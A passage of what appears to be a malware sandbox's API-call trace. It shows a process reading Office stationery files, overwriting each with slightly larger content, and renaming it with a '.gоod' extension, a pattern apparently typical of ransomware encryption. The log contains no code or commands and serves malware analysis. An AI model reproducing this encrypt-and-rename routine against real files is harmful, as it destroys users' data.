(lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\DADSHIRT.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\dadshirt.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\DADSHIRT.HTM.gоod" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\dadshirt.htm.gоod")) returned 1 [0183.202] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUDGESCH.GIF", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUDGESCH.GIF", lpFilePart=0x0) returned 0x43 [0183.202] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0183.202] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUDGESCH.GIF" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\judgesch.gif"), fInfoLevelId=0x0, lpFileInformation=0x35d0fb8 | out: lpFileInformation=0x35d0fb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb4d8760, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb4d8760, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb54adf7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd36)) returned 1 [0183.202] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0183.203] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUDGESCH.GIF", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUDGESCH.GIF", lpFilePart=0x0) returned 0x43 [0183.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0183.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUDGESCH.GIF" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\judgesch.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0183.203] GetFileType (hFile=0x824) returned 0x1 [0183.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0183.203] GetFileType (hFile=0x824) returned 0x1 [0183.203] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0xd36 [0183.203] ReadFile (in: hFile=0x824, lpBuffer=0x35d1f88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x35d1f88*, lpNumberOfBytesRead=0x200ec818*=0xd36, lpOverlapped=0x0) returned 1 [0183.204] CloseHandle (hObject=0x824) returned 1 [0183.233] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUDGESCH.GIF", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUDGESCH.GIF", lpFilePart=0x0) returned 0x43 [0183.233] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0183.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUDGESCH.GIF" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\judgesch.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0183.234] GetFileType (hFile=0x824) returned 0x1 [0183.234] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0183.234] GetFileType (hFile=0x824) returned 0x1 [0183.234] WriteFile (in: hFile=0x824, lpBuffer=0x364d978*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x364d978*, lpNumberOfBytesWritten=0x200ec728*=0xd40, lpOverlapped=0x0) returned 1 [0183.235] CloseHandle (hObject=0x824) returned 1 [0183.235] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUDGESCH.GIF", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUDGESCH.GIF", lpFilePart=0x0) returned 0x43 [0183.235] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUDGESCH.GIF.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUDGESCH.GIF.gоod", lpFilePart=0x0) returned 0x48 [0183.235] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0183.235] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUDGESCH.GIF" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\judgesch.gif"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4d8760, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb4d8760, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x696eb37b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd40)) returned 1 [0183.235] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0183.235] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUDGESCH.GIF" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\judgesch.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUDGESCH.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\judgesch.gif.gоod")) returned 1 [0183.236] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUDGESCH.HTM", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUDGESCH.HTM", lpFilePart=0x0) returned 0x43 [0183.236] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0183.236] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUDGESCH.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\judgesch.htm"), fInfoLevelId=0x0, lpFileInformation=0x364ec00 | out: lpFileInformation=0x364ec00*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb524bc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb524bc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb54adf7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fb)) returned 1 [0183.236] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0183.236] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUDGESCH.HTM", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUDGESCH.HTM", lpFilePart=0x0) returned 0x43 [0183.236] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0183.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUDGESCH.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\judgesch.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0183.236] GetFileType (hFile=0x824) returned 0x1 [0183.236] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0183.236] GetFileType (hFile=0x824) returned 0x1 [0183.236] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0x1fb [0183.236] ReadFile (in: hFile=0x824, lpBuffer=0x364f098, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x364f098*, lpNumberOfBytesRead=0x200ec818*=0x1fb, lpOverlapped=0x0) returned 1 [0183.332] CloseHandle (hObject=0x824) returned 1 [0183.808] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUDGESCH.HTM", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUDGESCH.HTM", lpFilePart=0x0) returned 0x43 [0183.808] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0183.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUDGESCH.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\judgesch.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0183.809] GetFileType (hFile=0x808) returned 0x1 [0183.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0183.809] GetFileType (hFile=0x808) returned 0x1 [0183.809] WriteFile (in: hFile=0x808, lpBuffer=0x36df848*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x36df848*, lpNumberOfBytesWritten=0x200ec728*=0x200, lpOverlapped=0x0) returned 1 [0183.810] CloseHandle (hObject=0x808) returned 1 [0183.810] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUDGESCH.HTM", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUDGESCH.HTM", lpFilePart=0x0) returned 0x43 [0183.810] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUDGESCH.HTM.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUDGESCH.HTM.gоod", lpFilePart=0x0) returned 0x48 [0183.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0183.810] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUDGESCH.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\judgesch.htm"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb524bc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb524bc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69c4ea0d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x200)) returned 1 [0183.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0183.810] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUDGESCH.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\judgesch.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUDGESCH.HTM.gоod" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\judgesch.htm.gоod")) returned 1 [0183.811] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUNGLE.GIF", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUNGLE.GIF", lpFilePart=0x0) returned 0x41 [0183.811] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0183.811] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUNGLE.GIF" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\jungle.gif"), fInfoLevelId=0x0, lpFileInformation=0x36e0ad0 | out: lpFileInformation=0x36e0ad0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb48c20e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb48c20e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb4d8760, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfc7)) returned 1 [0183.812] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0183.812] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUNGLE.GIF", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUNGLE.GIF", lpFilePart=0x0) returned 0x41 [0183.812] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0183.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUNGLE.GIF" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\jungle.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0183.812] GetFileType (hFile=0x808) returned 0x1 [0183.812] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0183.812] GetFileType (hFile=0x808) returned 0x1 [0183.812] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0xfc7 [0183.812] ReadFile (in: hFile=0x808, lpBuffer=0x36e1d20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x36e1d20*, lpNumberOfBytesRead=0x200ec818*=0xfc7, lpOverlapped=0x0) returned 1 [0185.532] CloseHandle (hObject=0x808) returned 1 [0186.268] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUNGLE.GIF", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUNGLE.GIF", lpFilePart=0x0) returned 0x41 [0186.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0186.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUNGLE.GIF" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\jungle.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0186.269] GetFileType (hFile=0x7f8) returned 0x1 [0186.269] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0186.269] GetFileType (hFile=0x7f8) returned 0x1 [0186.269] WriteFile (in: hFile=0x7f8, lpBuffer=0x3791cb0*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x3791cb0*, lpNumberOfBytesWritten=0x200ec728*=0xfd0, lpOverlapped=0x0) returned 1 [0186.270] CloseHandle (hObject=0x7f8) returned 1 [0186.270] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUNGLE.GIF", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUNGLE.GIF", lpFilePart=0x0) returned 0x41 [0186.270] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUNGLE.GIF.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUNGLE.GIF.gоod", lpFilePart=0x0) returned 0x46 [0186.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0186.271] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUNGLE.GIF" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\jungle.gif"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb48c20e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb48c20e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b3d9dc9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xfd0)) returned 1 [0186.271] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0186.271] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUNGLE.GIF" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\jungle.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUNGLE.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\jungle.gif.gоod")) returned 1 [0186.272] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUNGLE.HTM", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUNGLE.HTM", lpFilePart=0x0) returned 0x41 [0186.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0186.272] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUNGLE.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\jungle.htm"), fInfoLevelId=0x0, lpFileInformation=0x3792f28 | out: lpFileInformation=0x3792f28*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb4d8760, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb4d8760, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5972d3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x201)) returned 1 [0186.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0186.272] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUNGLE.HTM", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUNGLE.HTM", lpFilePart=0x0) returned 0x41 [0186.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0186.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUNGLE.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\jungle.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0186.272] GetFileType (hFile=0x7f8) returned 0x1 [0186.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0186.272] GetFileType (hFile=0x7f8) returned 0x1 [0186.272] GetFileSize (in: hFile=0x7f8, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0x201 [0186.272] ReadFile (in: hFile=0x7f8, lpBuffer=0x37933b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x37933b8*, lpNumberOfBytesRead=0x200ec818*=0x201, lpOverlapped=0x0) returned 1 [0186.273] CloseHandle (hObject=0x7f8) returned 1 [0187.127] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0187.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUNGLE.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\jungle.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0187.128] GetFileType (hFile=0x824) returned 0x1 [0187.128] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0187.128] GetFileType (hFile=0x824) returned 0x1 [0187.128] WriteFile (in: hFile=0x824, lpBuffer=0x3778b00*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x3778b00*, lpNumberOfBytesWritten=0x200ec728*=0x210, lpOverlapped=0x0) returned 1 [0187.129] CloseHandle (hObject=0x824) returned 1 [0187.129] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUNGLE.HTM", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUNGLE.HTM", lpFilePart=0x0) returned 0x41 [0187.129] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUNGLE.HTM.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUNGLE.HTM.gоod", lpFilePart=0x0) returned 0x46 [0187.129] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0187.130] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUNGLE.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\jungle.htm"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4d8760, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb4d8760, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bc0bf29, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x210)) returned 1 [0187.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0187.130] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUNGLE.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\jungle.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\JUNGLE.HTM.gоod" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\jungle.htm.gоod")) returned 1 [0187.131] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\NOTEBOOK.HTM", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\NOTEBOOK.HTM", lpFilePart=0x0) returned 0x43 [0187.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0187.131] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\NOTEBOOK.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\notebook.htm"), fInfoLevelId=0x0, lpFileInformation=0x3779d78 | out: lpFileInformation=0x3779d78*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb4d8760, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb4d8760, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb4d8760, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ed)) returned 1 [0187.131] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0187.131] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\NOTEBOOK.HTM", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\NOTEBOOK.HTM", lpFilePart=0x0) returned 0x43 [0187.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0187.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\NOTEBOOK.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\notebook.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0187.131] GetFileType (hFile=0x824) returned 0x1 [0187.131] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0187.131] GetFileType (hFile=0x824) returned 0x1 [0187.131] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0x1ed [0187.131] ReadFile (in: hFile=0x824, lpBuffer=0x377a200, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x377a200*, lpNumberOfBytesRead=0x200ec818*=0x1ed, lpOverlapped=0x0) returned 1 [0187.412] CloseHandle (hObject=0x824) returned 1 [0188.722] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\NOTEBOOK.HTM", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\NOTEBOOK.HTM", lpFilePart=0x0) returned 0x43 [0188.722] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0188.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\NOTEBOOK.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\notebook.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0188.723] GetFileType (hFile=0x630) returned 0x1 [0188.723] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0188.723] GetFileType (hFile=0x630) returned 0x1 [0188.723] WriteFile (in: hFile=0x630, lpBuffer=0x38f03b8*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x38f03b8*, lpNumberOfBytesWritten=0x200ec728*=0x1f0, lpOverlapped=0x0) returned 1 [0188.724] CloseHandle (hObject=0x630) returned 1 [0188.724] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\NOTEBOOK.HTM", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\NOTEBOOK.HTM", lpFilePart=0x0) returned 0x43 [0188.724] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\NOTEBOOK.HTM.gоod", 